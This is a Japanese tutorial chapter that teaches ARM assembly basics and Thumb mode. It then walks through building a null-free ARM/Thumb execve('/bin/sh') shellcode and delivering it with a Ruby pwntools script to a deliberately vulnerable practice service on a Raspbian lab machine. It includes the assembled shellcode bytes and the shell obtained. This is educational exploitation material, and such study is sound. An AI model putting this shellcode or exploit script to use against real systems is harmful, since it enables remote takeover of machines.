1. Crafting Shellcode 🐚
第1章では、Exploitには欠かせないシェルコード作成を通して、ARM アセンブリの基本的な構文や仕組みについて簡単にご説明をします。最後に、実際に作成したシェルコードを用いて、演習問題でシェルを奪取する練習をします。
1.1 ARM アセンブリ基礎
ARM アーキテクチャは、RISC(Reduced Instruction Set Computing))で、ロード/ストアなアーキテクチャです。メモリへのアクセスはレジスタを介したロード、ストア命令のみです。ARM の主要なレジスタには、r0 ~ r15レジスタとcpsrレジスタなどがあります。特にr11 ~ r15ジレスタは特殊な用途に使われるため別名が付けられています。以下にレジスタの概要をまとめます。
レジスタ | 概要 |
---|---|
r0 | 関数の戻り値の保存、関数の第1引数に利用 |
r1 | 関数の第2引数に利用 |
r2 | 関数の第3引数に利用 |
r3 | 関数の第4引数に利用 |
r4 ~ r8 | 汎用的に利用 |
r8 | 汎用的に利用 |
r9 | 汎用的に利用 |
r10 | 汎用的に利用 |
r11 | フレームポインタ(別名fp) |
r12 | インストラクションポインタ(別名ip) |
r13 | スタックポインタ(別名sp) |
r14 | リンクレジスタ(別名lr) |
r15 | プログラムカウンタ(別名pc) |
cpsr | カレントプログラムモードレジスタ |
cpsrレジスタはx86のeflagsレジスタのようなものでフラグ管理をしています。特に下位5bit目のフラグは重要な値になっており、ARMモードとThumbモードと呼ばれる2つのモードの状態を示す役割を持っています。ARMモードが基本的なモードです。Thumbモードについては後述します。
ARM アセンブリにはとても多くの命令があります。よく使われる代表的な命令を以下に示します。
命令 | 動作 | 命令 | 動作 |
---|---|---|---|
MOV | 値をコピーする | PUSH | スタックに値をpushする |
MVN | 値の2の補数をコピーする | POP | スタックから値をpopする |
ADD/SUB | 加算/減算を行う | LDR | メモリから値をロードする |
AND/OR/EOR | 論理積/論理和/排他的論理和を行う | STR | メモリに値をストアする |
LSL/LSR | 論理左/右シフトを行う | B | 制御を無条件に移す |
ASR | 算術右シフトを行う | BL | 次の命令のアドレスをlrレジスタに格納し、制御を移す |
CMP | 値を比較し、csprレジスタの値を更新する | BX | 制御を無条件に移す。飛び先のアドレスの末尾1bitによりモードを変更する |
実際にARMアセンブリでプログラムを作成してみましょう。Hello
を出力するプログラムhello.asm
を作成します。様々な命令を紹介するために少し冗長に構築しています。ご存知の通り命令の種類はとても多いので、一部のみ取り扱います。
.text
.global _start
_start:
eor r0, r0 @ r0 = 0
add r0, #1 @ r0 += 1
adr r1, s @ r1 = &s
mov r2, #6 @ r2 = 6
mov r7, #4 @ r7 = 4
svc 0 @ write(1, &s, 6)
eor r0, r0 @ r0 = 0
add r7, r0, #1 @ r7 = 1
svc 0 @ exit(0)
s:
.asciz "Hello\n"
各行の命令について補足していきます。eor 命令は、xorを行う命令です。引数に同じr0 レジスタを取っているため0初期化していることがわかります。add 命令は、加算を行う命令です。2番目のオペランドは、即値を表しています。したがって本命令は、r0にr0+1を代入する命令になっています。adr 命令は、ラベルのアドレスを第1オペランドに代入する用途で使っています。mov 命令は、値を代入する命令です。svc 命令は、システムコールを発行する命令です。システムコールを直接呼ぶ場合は、r7レジスタにシステムコール番号、r0 ~ r6レジスタに引数をセットして、svc 命令を実行します。また、戻り値はr0レジスタにセットされます。また、svc 命令のオペランドは基本的に無視されます。ここでは、r7 レジスタに4が入っているためwrite システムコールを発行し、Hello\n
を出力します。その後の3命令はもう読み解けるでしょう。システムコール番号を調べる際には、ausyscall
コマンドが便利です。以下のようにシステムコール名を与えることで、システムコール番号を表示してくれます。
$ ausyscall write
write 4
writev 146
pwrite64 181
pciconfig_write 273
pwritev 362
process_vm_writev 377
pwritev2 393
また、本コードから実行ファイルを作成する際には、以下のようにas
とld
コマンドを用います。実行すると前述した通り文字列を表示して終了します。
$ as hello.asm -o hello.o
$ ld hello.o -o hello
$ ./hello
Hello
Thumb モード
ARMには、通常のARMモードとThumbモードの2つのモードが存在します。以下に主な違いを示します。
観点 | ARM モード | Thumb モード |
---|---|---|
命令語の長さ | 4 byte | 2 byte |
扱える汎用レジスタの数 | 16個 | 8個 |
ARM モードとThumb モードの切り替えには、BX 命令とBLX 命令が利用されます。BX r0
のようにレジスタ指定で制御が移る場合は、レジスタの中身が偶数であればARM モード、奇数であればThumb モードに切り替わります。よくある例として、add r3, pc, #1; bx r3
を実行すると、r3 レジスタには、pc+1の奇数のアドレスが格納され、そのアドレスに対してジャンプするため、元がARM モードの場合はThumb モードに切り替わります。
Exploit開発においては、Thumbモードは命令語の長さが短いため、長さ制限などがある場合にはとても便利です。
1.2 シェルコード作成
最も代表的なシェルコードは、execve("/bin/sh", NULL, NULL)
を実行することです。これをリモート側のサーバ上で実行することで、リモートサーバのシェルを奪取することができます。ARM では execve
システムコールの番号は、11となっています。そのため、r7 レジスタには11を設定する必要があります。引数にはr0レジスタに/bin/sh
のアドレス、r1レジスタとr2レジスタには0を設定する必要があります。この状態で、svc 命令を実行することでシェルを起動することができます。以下にシェルコードの例を示します。
.text
.global _start
_start:
.code 32
add r3, pc, #1
bx r3
.code 16
adr r0, s
mov r7, #11
eor r1, r1
eor r2, r2
strb r2, [r0, #7]
svc #1
s: .asciz "/bin/shA"
ここでは、Thumbモードも用いてバイト数を削る試みもしています。bx r3
でジャンプする際にadr r0, s
のアドレス+1した値に飛ぼうとしてます(ARMではPCは実行中の命令+8を指す)。これによりadr r0, s
からはThumb モードで実行されます。文字列s
では、末尾にA
が余分についています。本来であればNULL終端をさせたいところですが、Buffer Overflowを招く代表的なstrcpy関数などでは、NULL終端してしまいます。そのため攻撃用のペイロードのコピーが意図しないところで止まる可能性があります。そこで、strb r2, [r0, #7]
を使って、文字列s
のアドレス+7をしたアドレス(A
のアドレス)に対して、r2ジレスタの値をストアしています。r2 レジスタは、1つ前の命令で0初期化しているため、本処理は、A
を\x00
に置き換える処理になっています。生の値として\x00
を埋め込むのではなく、コードの実行中に\x00
に置き換えることでNULLが無いシェルコードを実現しています。Exploitに利用する際にはNULLが存在しないシェルコードを利用することが望ましいです。では、実際にアセンブルして実行ファイルを作成し、中身を見てみましょう。
$ as shellcode.asm -o shellcode.o
$ ld shellcode.o -o shellcode.bin
$ objdump -d shellcode.bin
shellcode.bin: file format elf32-littlearm
Disassembly of section .text:
00010054 <_start>:
10054: e28f3001 add r3, pc, #1
10058: e12fff13 bx r3
1005c: a002 add r0, pc, #8 ; (adr r0, 10068 <s>)
1005e: 270b movs r7, #11
10060: 4049 eors r1, r1
10062: 4052 eors r2, r2
10064: 71c2 strb r2, [r0, #7]
10066: df01 svc 1
00010068 <s>:
10068: 6e69622f .word 0x6e69622f
1006c: 4168732f .word 0x4168732f
10070: 00 .byte 0x00
10071: 00 .byte 0x00
10072: 46c0 nop ; (mov r8, r8)
上記の通り、0x1006c までの命令の16進数に00
が含まれていないことがわかります。
shellcode.bin
は実行できるのですが、正しく実行されずに終了してしまいます。それは、A
を\x00
で置き換える処理において、書き込み権限がないためです。しかしながら、Exploitに組み込み実行する際は、ほとんどの場合シェルコード自体が存在するメモリの書き込み権限はあるため正常に動作します。
1.3 シェルコードを用いたシェル奪取
ここでは他の章でも使っていく演習問題を用いた攻撃環境の構築方法についてご紹介します。ここでは、Raspbian側でsocatを用いてバイナリファイルを特定のポートで待ち受けて、そこへ向けて攻撃していきます。以下のようにして実行します。ここでは、shellcode
という実行ファイルを8888/tcp で待受させます。このファイルは入力を受け取り、それを実行するプログラムになっています。送ったシェルコードがそのまま実行されてしまうとても危険なプログラムです。
$ socat tcp-l:8888,reuseaddr,fork exec:./shellcode
上記を実行後、ホスト環境から接続すると以下のような応答が帰ってくるはずです。
$ nc localhost 8888
Give me a shellcode:
これで攻撃環境の構築は終了です。次に、実際のExploit コードを作成していきますが、その前に 1.2 シェルコード作成 で作成したシェルコードをスクリプト言語などで扱えるようにします。シェルコードとして抽出する必要があるのは、アセンブリ言語で作成した部分のみなので、以下のようにして取り出します。
$ objcopy -O binary shellcode.bin shellcode_hex.bin
$ hexdump -v -e '"\\""x" 1/1 "%02x" ""' shellcode_hex.bin
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x0b\x27\x49\x40\x52\x40\xc2\x71\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x41
8888/tcp と接続して、このシェルコードを送るExploit コードを以下に示します。
#!/usr/bin/env ruby
#coding: ascii-8bit
require 'pwn'
host = 'localhost'
port = 8888
z = Sock.new host, port
z.recvuntil ": "
payload = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x0b\x27\x49\x40\x52\x40\xc2\x71\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x41"
puts "[*] shellcode length: #{payload.length}"
z.sendline payload
z.interact
本コードを実行すると以下のように、Raspbian 内部のシェルを操作できるようになっていることがわかります。また、このシェルコードの長さは、28byteでした。
$ ./solve.rb
[*] shellcode length: 28
[INFO] Switching to interactive mode
id
uid=1000(pi) gid=1000(pi) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),60(games),100(users),105(input),109(netdev),997(gpio),998(i2c),999(spi)
続く章でも同じような手順で、バイナリを待ち受けて、Exploit コードを実行していきます。
1.4 まとめ
本章では、ARMアセンブリの基本からシェルコードの作成と実行まで幅広く見てきました。ARMアセンブリは、x86と違う点が多く少しむずかしいですが、Exploit をする上ではThumbモードなど重要な要素がとても多く絡んできます。適切に理解することで、他の攻撃手法を正しく理解できるようになると思います。